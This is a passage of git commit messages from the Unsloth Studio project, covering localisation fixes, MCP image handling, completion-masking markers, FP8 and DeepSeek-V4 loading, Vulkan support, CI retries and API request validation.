follow once the physical-direction classes are converted to logical ones.
* Studio i18n: do not let a generic zh after a Traditional tag pick Simplified
navigator.languages can be a list like ['zh-TW', 'zh', 'en-US']. The zh-TW
pass already falls through, but the bare zh then reached the language-subtag
match and selected zh-CN, so Traditional Chinese users still got Simplified
and the guard was defeated. detectLocale now remembers when a Traditional
tag was seen and skips a later bare zh, so detection keeps falling through to
the next non-Chinese language. A lone bare zh, and explicit zh-CN or zh-Hans
fallbacks, still resolve to Simplified as before.
* Studio i18n: collapse two locale comments to a single line
The Arabic dir note in messages.ts and the bare-zh note in
locale-store.ts were two lines each; tighten each to one. Comment
only, no behavior change.
* Studio i18n: translate Hindi strings that were left in English
Seventeen hi.ts labels stayed in English while all the other locales
translated them: the training parameter labels (Grad Accum, Grad Norm,
Grad Checkpoint, Eval Loss, Clip p95/p99, Seed, Continued Pretraining),
the API example labels (curl/Python/JavaScript + tools/advanced),
Hugging Face token, the VRAM estimate and the training terminal start
line. Parity only checks key/placeholder presence so it did not catch
these. Brand and technical tokens (curl, Python, VRAM, Loss, p95/p99,
Hugging Face, unsloth) stay in English as elsewhere.
---------
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* MCP image handling
* clean upg
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: return MCP error results so image content is not dropped
FastMCP client.call_tool raises ToolError by default on an is_error
result, so it never reaches _flatten_result and any returned image is
dropped. Pass raise_on_error=False so error results flow through
_flatten_result and keep their images. Transport failures still raise
and hit the existing handler. Add a regression test for the real path.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: accept raise_on_error kwarg in MCP test fake clients
The call_tool_sync fix passes raise_on_error=False to client.call_tool.
Update the fake MCP clients patched into mcp_client._client so their
call_tool signatures accept the keyword, keeping the stdio/servers MCP
test suites green.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: tighten MCP raise_on_error rationale comments
* Studio: only strip MCP image sentinel when suffix is a valid image envelope
* Studio: validate MCP image envelope in chat adapter and keep base64 out of exports
* Studio: sanitize MCP images in all export formats and fall through to sandbox parser on invalid marker
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Handle linked instruction files in Bash cleanup
* Limit instruction cleanup to managed dependencies
* Make Bash cleanup test portable
* Run junction cleanup regression on Windows
* Keep instruction cleanup CI focused
* Studio: remove AGENTS.md from install artifacts
* Studio: prune CLAUDE.md from install artifacts
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix Studio instruction cleanup edge cases
* Trim Studio cleanup comments
* Make Studio cleanup safe on PowerShell 5.1
* Fix Studio cleanup ownership boundaries
* Simplify Windows link detection
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: startup loading banner and mute the benign bitsandbytes ROCm warning
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: shorten startup banner wording
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Fix SyntheticDataKit.chunk_data emitting chunks over max_tokens
The multi-chunk path built boundaries from np.linspace(..., n_chunks), but
pairing boundaries[:-1] with boundaries[1:] turns N points into N-1 ranges,
so it produced one fewer, oversized chunk: every chunk exceeded max_tokens
and a document just over the threshold came back as a single unsplit chunk.
Use n_chunks + 1 points so exactly n_chunks ranges are emitted, each within
max_tokens.
Also base n_chunks on the non-overlapped span: consecutive chunks overlap by
overlap, so covering length needs ceil((length - overlap) / stride) chunks, not
ceil(length / stride). The looser count over-counted by one just past a stride
multiple (a 673-token doc became 3 chunks of ~267 instead of 2 of ~369),
emitting an extra redundant chunk. Coverage and overlap are unchanged and every
chunk still stays within max_tokens.
* Condense chunk_data comments and clarify over-split test for PR #7073
---------
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Fix broken manual response-template markers in Studio's fallback table
Six template families in TEMPLATE_TO_RESPONSES_MAPPER shipped markers that
never match what their chat templates actually render, so the manual
train_on_completions path masked every assistant token and the run died on
the all-labels-masked safety net:
- mistral, llama: '[INST] ' / ' [/INST]' - the surrounding spaces fold into
the neighbouring tokens ('[INST]'/'[/INST]' are single special tokens in
Mistral v0.3, SentencePiece pieces in Llama-2), so the padded strings
never match. Now '[INST]' / '[/INST]'.
- starling: trailing space after 'GPT4 Correct Assistant:' folds into the
next content token. Now no trailing space.
- glm: '[gMASK]<sop>' renders once at text start, never before later user
turns, and '<think>' is generation scaffolding rendered as a lone
'</think>' on non-final turns. Now '<|user|>' / '<|assistant|>'.
- qwen3-thinking: '<think>' is stripped from non-final assistant turns
(Qwen3-Thinking-2507) and never rendered by QwQ. Now the bare assistant
header, matching the other qwen entries.
- zephyr: role tags are plain text and SentencePiece tokenizes them
differently at text start than after '</s>' + newline mid-conversation;
the markers need the leading newline anchor. Now '\n<|user|>\n' /
'\n<|assistant|>\n'.
Validated token-level on each family's representative tokenizer with a
two-turn fixture plus system message: user and system content fully masked,
every assistant turn trained, and the final EOS label never -100. The
fixed mistral, llama, starling and glm markers produce labels identical to
zoo auto-detection; qwen3-thinking differs only in one turn-separator
newline token. All 22 unchanged entries produce byte-identical labels to
before this change.
Adds tests/test_response_template_markers.py pinning the fixed and key
unchanged marker literals (dependency-free) plus token-level masking checks
that skip when tokenizers or unsloth_zoo are unavailable offline.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Close tokenizer config handle and read it as UTF-8
Chat templates in tokenizer_config.json are rarely ASCII-only, so the
default locale codec could fail the GLM fallback loader on Windows.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments
* Anchor the llama marker on <s> and harden the marker test
On transformers 5.x llama-2 tokenizes [INST] after <s> as a bare left
bracket while the standalone encoding gives the space-prefixed piece, so
the unanchored marker missed every turn boundary and later user turns
leaked into training; 4.57 masked this. Anchoring on <s>[INST] matches
both tokenizations, verified token-level under 4.57.6 and 5.5.0.
The test now unwraps the BatchEncoding that apply_chat_template returns
on 5.x before indexing, and the latent trailing spaces in the unreachable
unsloth and vicuna entries are dropped for table consistency.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* DeepSeek-V4: eager attention and trainable FP8 grouped experts
deepseek_v4 ships a custom attention that is not compatible with the sdpa
and flash paths, so add it to _EAGER_ONLY_PREFIXES to load with eager.
Its fused experts load as FP8GroupedLinear, whose forward calls a grouped
matmul kernel with no autograd formula, so loss.backward() fails during
finetuning. Patch the forward to dequantize the frozen fp8 weight and run a
differentiable grouped matmul while training, keeping the fused fp8 kernel
for inference.
* DeepSeek-V4: exclude sdpa/flash and stream fp8 grouped backward
Add deepseek_v4 to _SDPA_EXCLUDED_MODELS and _FLASH_EXCLUDED_MODELS so an
explicit attn_implementation=sdpa/flash request downgrades to eager instead of
raising (the model has no sdpa/flash kernel), matching the eager-only default.
Replace the FP8GroupedLinear training bmm with a custom autograd Function that
saves only the fp8 weight + scale rather than a full bf16 dequantized copy, so
no dequantized grouped weight is retained per layer, and unwrap tensor-parallel
shards before dequant. Bit-exact forward and grad with the previous path.
* FP8 grouped: consistent checkpointing math and block-size-aware dequant
Gate the differentiable training path on self.training rather than
torch.is_grad_enabled(), so a gradient-checkpointed segment runs the same bmm
math in its no-grad forward and its grad recompute instead of mixing the fused
fp8 kernel with bmm.
Dequantize with the layer's own block_size via _blockwise_weight_dequant_any_shape
so non-128 or rectangular fp8 blocks are scaled correctly instead of assuming
128x128.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
New releases of huggingface-hub (1.23.0) and openai (2.45.0) shifted or
added polling loops that the C2 polling/beaconing check flags, failing
all three pip scan-packages shards (studio 1, hf-stack 1, extras 3 new
CRITICAL findings) org-wide including on main.
Regenerated with scan_packages.py --write-baseline per CI shard (same
shard-to-requirements mapping and --with-deps as security-audit.yml)
and merged. All entries were manually reviewed at the resolved versions:
- huggingface-hub hf_api.py: create_repo 409-concurrency retry loop
body changed in 1.23.0; refreshed evidence hash. The loop POSTs to
the canonical Hub endpoint and retries only on a specific conflict
error. Benign client retry.
- openai beta/threads/runs/runs.py: create_and_poll run-status helper
refactored in 2.45.0 (Assistants deprecation annotations); refreshed
evidence hash. Documented polling helper against api.openai.com.
- openai beta/responses/responses.py: new beta websocket client whose
__aiter__ yields server events until the connection closes. New
entry; standard event-stream iterator, not beaconing.
- openai resources/responses/responses.py: evidence line number
refreshed only, hash unchanged.
The two dropped entries are the pre-refactor hashes of the same two
loops above; they no longer occur at the resolved versions. Verified
locally: all three shards exit 0 with 0 unsuppressed CRITICAL/HIGH
(hf-stack 120, studio 151, extras 99 suppressed).
* Auto-detect completion masking markers with template table fallback
Studio's train_on_completions previously relied only on the hardcoded
MODEL_TO_TEMPLATE_MAPPER / TEMPLATE_TO_RESPONSES_MAPPER tables and
silently disabled masking when a model was not in the table, so unmapped
models (LFM2-8B-A1B, DeepSeek, and others) trained on full sequences
without telling the user. Several mapped templates (glm, mistral, llama,
starling, zephyr, qwen3-thinking) also carried markers that mask every
assistant token, which made every row drop in the post-masking filter.
Both training callsites (CUDA trainer.py and MLX worker.py) now share
utils.datasets.completion_masking.apply_completion_masking:
- Try unsloth_zoo chat template auto-detection first; it raises loudly
when the template cannot be parsed and never masks the EOS token.
- gpt-oss models keep their manual markers so non-final assistant
<|end|> tokens stay trained, matching current behavior.
- If auto-detection raises, fall back to the template table exactly as
before.
- If the table also misses, emit an explicit user-visible warning that
completion masking could not be applied and full-sequence training
will occur, instead of a quiet log line.
The >30 percent dropped-rows safety net in trainer.py now guards the
auto path as well. Table consumers for inference and chat templates are
unchanged. Validated against one representative tokenizer for every
template in TEMPLATE_TO_RESPONSES_MAPPER plus the unmapped models:
no template regresses; unit tests cover the four decision paths.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Restrict masking fallback to marker detection failures
The auto branch wrapped the whole train_on_responses_only call, so a real
failure while applying the masking (dataset map, tokenization) was treated
as a detection miss and training silently proceeded on full sequences.
Detect markers separately via get_chat_template_parts (test seam via
detect_fn), then apply them with errors propagating, matching the manual
path. Tokenizers with preset unsloth marker attrs skip detection and call
bare so zoo reuses the stored parts.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fail the run when applying completion masking raises
The helper already falls back internally on detection failures and returns
applied=False on a double miss, so an exception reaching the callsites is a
real failure applying the masking. Remove the callsite catches that
downgraded it to full-sequence training; the run now fails visibly instead.
Also use the explicit re-export alias form in utils/datasets/__init__.py for
the two new names, satisfying the import-hoist source lint.
* Import completion masking from its submodule
The import-hoist source lint counts only real name loads, so package-level
re-exports of the two new names cannot satisfy it. Import
apply_completion_masking from utils.datasets.completion_masking directly at
both callsites and leave utils/datasets/__init__.py untouched.
* Completion masking: gpt-oss renames and MLX raw/alpaca parity
Renamed or private gpt-oss checkpoints are name-detected as gpt-oss but miss
the exact-name table; default them to the gpt-oss template markers instead of
falling through to full-sequence training.
Gate the MLX masking call on not raw_text_mode and format_type != alpaca,
mirroring the CUDA path: raw/CPT text has no chat turns to mask and
Alpaca-rendered text lacks the tokenizer's chat markers.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Define raw_text_mode outside the MLX feature-detect block
With an older zoo lacking the append_eos config field, the masking
gate referenced raw_text_mode before assignment. Hoist the assignment
above the feature detection so both consumers see it.
* Gate MLX masking on the formatter's resolved format
format_type auto can resolve to alpaca or raw text; the masking skip
checked only the requested value, so auto-detected Alpaca data got
chat-template markers applied to rendered prompt text. Track the
final_format returned by format_and_template_dataset and gate on it,
matching the CUDA path.
* Unwrap the mlx-lm TokenizerWrapper before marker checks
The wrapper delegates plain reads to the wrapped HF tokenizer but hides
underscore attrs, so preset unsloth markers were invisible and detection
relied on the loader's call patch. Unwrap to the real tokenizer first,
as the zoo MLX resolver does.
* Tighten masking comments
* gpt-oss: auto-detect markers first like every other template
The quantized and BF16 gpt-oss checkpoints ship a chat template without
the channel final header, so the pinned manual markers match nothing
there and masking trained zero tokens. Auto-detection derives markers
from whichever template the checkpoint ships and keeps the final
terminator trained; the manual gpt-oss markers remain the detection
failure fallback, including for renamed checkpoints.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: route models by CONFIG_MAPPING_NAMES instead of hardcoded tables
A model whose model_type is absent from an overlay's transformers cannot load
there, so a new MoE arch not yet in the tier tables gets routed to default and
fails (e.g. lfm2_moe, deepseek_v4). Add a static resolver that parses each
overlay's CONFIG_MAPPING_NAMES straight from source (AST only, no import, no
network, no trust_remote_code) and picks the lowest tier that ships the
model_type. Runs after the existing checks and only ever upgrades default, so
no existing routing changes and new archs no longer need a table edit.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio router: harden the CONFIG_MAPPING_NAMES resolver
- Resolve the default tier map from the base install, skipping any .venv_t5_*
sidecar on sys.path, so an in-process 5.x activation cannot make a 5.x-only
model look loadable by 4.x.
- Do not cache an overlay whose sidecar dir is absent, so a later call re-reads
it once provisioned instead of serving a stale empty map.
- Also collect model types added via CONFIG_MAPPING_NAMES.update({...}) and
**{...} unpacking, not just the literal assignment (5.10 uses both).
- Wrap the AST walk in the try/except so a malformed source can never crash tier
resolution.
- Feed the mapping fallback from _load_config_json so a config served from the
hub cache during a transient outage still routes new architectures.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
LFM2-8B-A1B and any other lfm2_moe checkpoint were missing from the
transformers tier tables, so they fell through to the default 4.57.x
sidecar, which does not register lfm2_moe and errors with
"not supported yet in transformers==4.57.6". Only lfm2_vl was listed.
Add Lfm2MoeForCausalLM / lfm2_moe to the 5.3.0 tier (lfm2_moe is
registered in transformers 5.3.0). get_transformers_tier now returns
530 for LFM2-8B-A1B and the model loads and trains as expected.
* CI: retry transient HTTP timeouts in Studio smoke probes
The post() helper in the Studio inference smoke workflows does a single
urlopen with a 240s timeout against the local Studio server. On shared
runners this sporadically hits TimeoutError while the server is stalled,
failing the whole job for a transport hiccup; the same flake has recurred
across unrelated PRs on Linux and Windows (JSON/images and tool-calling
jobs) and passes on rerun.
Retry the probe up to 3 times on transport-level failures only
(TimeoutError, ConnectionError, non-HTTP URLError), 15s apart. HTTP
status errors still surface immediately, so genuine server failures are
unaffected. post_sse() is left unchanged: it has a 600s budget and has
not flaked.
* CI: retry only short probes so worst case fits the job budget
Some json-images calls pass timeout=600; three attempts there could spend
30 minutes in one step and hit the job's timeout-minutes instead of failing
with the Python error. Retry (3 attempts) only when timeout <= 300s, which
covers the observed flaky 180-240s probes; longer probes keep the pre-PR
single attempt.
* CI: give long smoke probes one capped retry
Round two of bounding the retries: timeout>300s probes previously got a
single attempt, so a transient stall in the 600s JSON-mode probes still
failed on first occurrence. Give them one retry with the attempt timeout
capped at 300s. Worst cases stay inside timeout-minutes: 240s probes
12.5 min, one 600s probe 15.25 min, the Windows JSON job's two long
probes 30.5 min against its 35 minute budget.
* Clarify in README that -H 0.0.0.0 starts a public Cloudflare tunnel
* Hedge tunnel URL wording and restore trusted-network caution
* Tighten the 0.0.0.0 tunnel note
* Drop trust-the-network caution from tunnel note
* Restore trusted-network note on the raw-bind sentence
* Use Cloudflare's quick tunnel terminology and consolidate the trust warning
* Studio: resolve the repo-root MTP drafter after the MTP/ GGUF rename
The Gemma 4 QAT GGUF repos renamed the higher-precision MTP/ subdir
copies from gemma-4-...-<quant>-MTP.gguf to mtp-gemma-4-...-<quant>.gguf,
so their basenames now start with the same mtp- prefix as the small
repo-root drafter (mtp-gemma-4-E4B-it.gguf).
The drafter selectors filtered candidates by a mtp- basename prefix and
took the first in sort order. With the new names the MTP/ copies also
match, and because MTP/ (uppercase) sorts before the lowercase root file,
selection flipped to the large BF16 copy under MTP/ instead of the root
drafter both functions document they should pick.
Restrict both selectors, and the companion byte estimate, to root-level
mtp-*.gguf so the MTP/ copies stay explicit-selection only:
- core/inference/llama_cpp.py _pick_mtp (loader auto-download)
- hub/utils/gguf_plan.py preferred_mtp_sibling (Hub variant plans)
- routes/inference.py _remote_gguf_companion_bytes (VRAM headroom)
Also reuse a drafter already in the local cache before downloading, so a
device that already holds a copy on disk does not re-fetch it.
Old-scheme names keep working (they have no root-level mtp- sibling to
mis-select). Adds regression tests for the new naming, both selection
paths, and the on-disk reuse.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: gate MTP drafter cache reuse to offline mode
Reuse the cached drafter only when HF is offline. Online, route back
through _download_companion_gguf/hf_hub_download so the current revision
is checked (etag) and a changed drafter is refetched, matching the
offline-only cross-snapshot reuse already used for the main GGUF. This
avoids pairing freshly downloaded weights with a stale cached draft.
Make the reuse tests offline and add an online-skips-reuse test.
* Studio: prefer a root MTP drafter across all cached snapshots
Offline reuse scanned snapshots one at a time and returned the first
snapshot that held any drafter, only preferring root within it. A newer
partial snapshot with just the MTP/ copy could shadow the small root
drafter in an older snapshot. Collect drafters across all snapshots and
prefer any repo-root file before an MTP/ copy.
* Studio: keep newest-first snapshot order when reusing cached drafters
Collecting root candidates and sorting by absolute snapshot path could
pick a drafter from an older snapshot. _iter_hf_cache_snapshots yields
newest first and the main GGUF is resolved in that order, so preserve it
(root still preferred over MTP/ copies) to avoid pairing a fresh main
weight with a stale drafter revision.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Restore dropped FP8 weight_scale_inv tensors on load
Some block-scale FP8 checkpoints (for example Qwen3.6-27B-FP8, issue #6200) load
with transformers leaving an mlp.gate_proj as a plain bf16 Linear instead of an
fp8 module. Its raw quantized values are read into the bf16 weight and the
weight_scale_inv is dropped as an unexpected key, so the weight is used un-scaled
and the base model is garbage (perplexity around 2 million).
After load, for every checkpoint weight_scale_inv whose live weight is not fp8,
dequantize the orphaned weight in place using the block scale from the checkpoint
index. Modules that were converted correctly keep an fp8 weight and are skipped,
so healthy checkpoints and single-file checkpoints are a no-op.
Verified on Qwen3.6-27B-FP8: 64 gate_proj scales restored, perplexity 2028902 to
8.9. No-op on Qwen3-8B-FP8 (all scales already live).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden FP8 weight_scale_inv restore from review
- Skip restore when the model has no fp8 weights, so an intentionally
dequantized load (load_in_16bit) is never re-scaled and corrupted.
- Thread revision, subfolder and cache_dir through the index and shard
downloads so scales come from the same snapshot as the weights.
- Cover unsharded single-file model.safetensors checkpoints (no index).
- Handle transposed block-scale layouts and skip on a true grid mismatch
instead of applying a wrong scale.
- Match text-only VLM loads where the language_model prefix was stripped.
- Restore on the FastLanguageModel text path too, not only vision.
- Handle a scalar weight_block_size; per-tensor error handling so one bad
tensor cannot abort the rest or hide a partial mutation.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address second review round on FP8 scale restore
- Bound peak memory: dequantize block views in place with the fp32 scale
broadcast instead of materializing a full expanded scale and fp32 copy,
so a near-VRAM-limit load is not pushed into OOM by the repair.
- Restore on the sequence-classification load path too.
- Cover more VLM key remappings (language_model.model.* to
model.language_model.*) when matching modules.
- Skip the restore for variant loads (variant=...) rather than risk
applying default-checkpoint scales to variant weights.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Align FP8 scale restore revision with the loaded weights and warn on disk-offloaded layers
In llama.py the CausalLM/SequenceClassification weight loads resolve model_name on its
default branch (revision is not forwarded there), so read the dropped weight_scale_inv
tensors from the same default branch instead of the requested revision, avoiding rescaling
default-branch weights with scales from another revision.
In loader_utils.py a disk-offloaded layer keeps its weight on the meta device until the
offload hook materializes it, so the scale cannot be applied in place. Skip such layers
explicitly and print a warning rather than silently leaving them unscaled.
* Tighten comments in the FP8 scale restore path
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
parse_direct_linux_release_bundle and direct_linux_release_plan are no
longer reached by any live code path. Fork Linux installs resolve through
_fork_manifest_release_plans -> _linux_published_attempts, and the upstream
(ggml-org) path uses direct_upstream_release_plan. The dead parser also
called _resolve_linux_bundle_profile, which no longer exists, so its CUDA
branch would raise NameError if ever executed.
Drop both functions and the obsolete TestDirectLinuxNvidiaCpuGate; its live
equivalent TestLinuxPublishedAttemptsNvidiaCpuGate already covers the
NVIDIA no-silent-CPU behaviour.
* scripts: refresh scan_packages allowlist baseline
Regenerate scripts/scan_packages_baseline.json against the current
resolved dependency set so the blocking pip scan-packages gate matches
what the scanner now finds. Refreshes evidence hashes for benign
findings whose code shifted lines (unsloth-zoo mlx loader, gguf/mlx
test /tmp fixtures) and adds two mainstream-library entries that were
newly surfaced (torch inductor codecache base64+subprocess compile
cache, torch testing common_utils socket import). Stale entries whose
matching code changed and no longer triggers are dropped.
All entries remain CRITICAL/HIGH findings manually judged benign;
matched on (package, file, check, evidence_hash).
* ci(security-audit): re-run scan when the allowlist baseline changes
The security-audit pull_request trigger listed the scanners but not
their allowlist baselines, so a baseline-only edit never re-ran the
scan that consumes it. A refreshed baseline could therefore merge
without CI confirming its evidence hashes match what the scanner finds.
Add scan_packages_baseline.json and scan_npm_packages_baseline.json to
the paths filter so baseline changes are validated on their own PR.
* Keep native RoPE scaling when extending context; carry rope_theta for linear
When max_seq_length exceeds a model's native window, the loader overwrote the
model's rope_scaling with linear scaling. For models that already ship a scaled
RoPE (llama3/yarn/longrope) that is far worse for long context, and on
transformers v5 the linear dict omitted rope_theta (v5 keeps it under
rope_parameters), so the rotary base fell back to 10000 and broke past ~8K tokens.
Keep the native scaling and just widen the window; only synthesize linear for
plain-RoPE models, and carry rope_theta so v5 keeps the real base.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Only preserve native llama3 when extending context; keep linear fallback otherwise
The patched attention constructor (patch_llama_rope_scaling) rebuilds only linear,
llama3 and longrope and its longrope branch reads a top-level
original_max_position_embeddings, so preserving yarn or a nested-only longrope config
would raise during construction on transformers <= 4.47.1. Keep only llama3 native;
yarn/longrope/other types fall back to the linear override, still carrying rope_theta.
* Correct long-context extension comment to match llama3-only preservation
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Fix fast_gemv crash on compressed-tensors FP8 models
Loading a compressed-tensors FP8 checkpoint (for example
unsloth/Llama-3.2-1B-Instruct-FP8-Block) with fast_inference=False and
running a forward crashed with 'Parameter object has no attribute absmax'
inside fast_gemv.
A compressed-tensors CompressedLinear exposes an already dequantized bf16
weight at forward time while keeping a weight_scale Parameter. The quant
state resolution in get_lora_parameters/get_lora_parameters_bias fell back
to that weight_scale, so a bf16 weight was routed into the bitsandbytes
fast_gemv/fast_dequantize path, which expects a bitsandbytes QuantState
with an absmax attribute.
Only fall back to weight_scale_inv/weight_scale when the weight is still
fp8. A decompressed bf16 weight then resolves to no quant state and flows
through the normal bf16 path, which already handles bias and the LoRA
backward. Real fp8 and bitsandbytes 4bit weights are unchanged.
* Skip the fast_gemv dispatch test before importing unsloth when bitsandbytes is absent
* Fix Windows installer torch index override
* Clear inherited uv index env vars for pinned installs in studio/setup.ps1 (#6898)
* Harden setup.ps1 index-var clearing to truly remove vars (#6898)
* Apply UV_DEFAULT_INDEX torch index fix to Linux/Mac install.sh (#6898)
* Neutralize all uv index env vars for pinned torch installs (#6898)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: add Vulkan llama.cpp support
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address gemini's feedback
* Studio: move the Vulkan VRAM probe into a standalone script
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Improve Vulkan probe error reporting
* Resolve llama-server symlink so Vulkan build is detected
* Drop unreachable Vulkan fallback in GPU free-memory dispatcher
* Skip the Intel GPU probe when NVIDIA or ROCm is present
* Reserve host RAM headroom for Vulkan integrated GPUs
* Add a `UNSLOTH_FORCE_VULKAN` environment variable
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Honor GGML_VK_VISIBLE_DEVICES, reserve discrete Vulkan VRAM headroom, and clear Intel GPU on --cpu-fallback
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Route Intel and forced-Vulkan hosts to the upstream Vulkan prebuilt, add arm64 Vulkan, keep Vulkan out of RAG auto-detect
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Clear the fork release pin when routing a Vulkan host to the upstream repo
* Gate auto-Vulkan routing on no physical NVIDIA so hidden CUDA devices aren't used
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Pin Vulkan launches with --device Vulkan<i> instead of the raw GGML_VK_VISIBLE_DEVICES index space
* Let user --device override the Vulkan pin, and gate direct Vulkan asset picks on no physical NVIDIA
* Update RAG auto-backend test mocks for the _resolve_auto binary and Vulkan probes
* Keep the add_dll_directory handle alive through the Vulkan probe DLL loads
* Revert RAG auto Vulkan guard, guard multi-backend Vulkan detection, and preserve forced Vulkan across updates
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Use getattr for RTLD_GLOBAL in the Vulkan probe CDLL mode
* Skip CUDA/ROCm APU and datacenter GPU tuning on Vulkan builds
On a Vulkan llama.cpp build gpu_indices are ggml compact ordinals, not
CUDA/ROCm physical ids, so _amd_apu_wants_unified_memory and
_apply_datacenter_env were reading the wrong device. On a mixed AMD APU
plus discrete GPU host that could raise a spurious system-RAM shortfall
and block a valid discrete-GPU load. Gate all three call sites on
not is_vulkan_backend; the Vulkan path already reserves iGPU host
headroom and the backend ignores GGML_CUDA_* anyway.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten Vulkan-guard comment in load_model
* Reduce comments in Vulkan support to be more succinct
* Resolve shell-wrapper llama-server entrypoint to the real lib dir
create_exec_entrypoint falls back to a #!/bin/sh wrapper at the install
root when it cannot symlink into build/bin. _find_llama_server_binary
returns that root entrypoint, but Path.resolve() does not follow a shell
wrapper, so _llama_lib_dir returned the install root and _is_vulkan_backend
missed libggml-vulkan.so -- silently skipping the Vulkan probe and --device
pin on an otherwise valid Vulkan install. Follow the wrapper's exec target
to build/bin. Regression test: test_shell_wrapper_entrypoint_resolves_to_real_lib_dir.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Studio /v1/messages: accept thinking and unknown content blocks
The Anthropic-compatible /v1/messages endpoint modeled a message's content as
Union[str, list[{text|image|tool_use|tool_result}]], so any other block type
made Pydantic reject the whole request with
`messages.N.content.str: Input should be a valid string`. Resuming a Claude
session commonly replays assistant turns that carry `thinking` (extended
thinking) blocks, and sometimes a null content for a tool-only turn, both of
which tripped this and returned a 400.
Accept them:
- Add a permissive AnthropicUnknownBlock fallback (any block whose type is not
one of the four known ones), so thinking/redacted_thinking/provider-specific/
future blocks validate. A validator keeps known types on their typed models,
so a malformed known block (e.g. a tool_use without id) still fails cleanly.
- Coerce a null message (and tool_result) content to "" so the converter's
`for block in content` stays safe.
The converter already drops block types it does not translate, so a thinking
block is not forwarded to the model.
* Studio /v1/messages: keep user content validation strict
Make the thinking/null leniency role-aware so it never silently drops real
user input. Assistant turns (replayed history) still accept unknown/thinking
blocks and coerce a null tool-only turn to empty. User turns keep the strict
boundary: a null user content is rejected, and a content block the converter
cannot translate is rejected instead of being dropped into an empty prompt.
Also remove an empty file committed by accident.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio /v1/messages: coalesce resumed user turns and tighten content checks
- The /v1/messages count and generation paths now coalesce the adjacent user
turns that dropping an empty or null assistant turn can leave behind, so a
strict GGUF chat template no longer 400s on non-alternating roles.
- A user content block with a non-string type (list / dict) is rejected as a
clean 400 instead of raising TypeError and escaping as a 500.
- The assistant null-to-empty coercion only applies to an explicit null; an
assistant turn that omits content entirely still fails required-field
validation instead of being silently coerced to an empty string.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio /v1/messages: tighten comments
---------
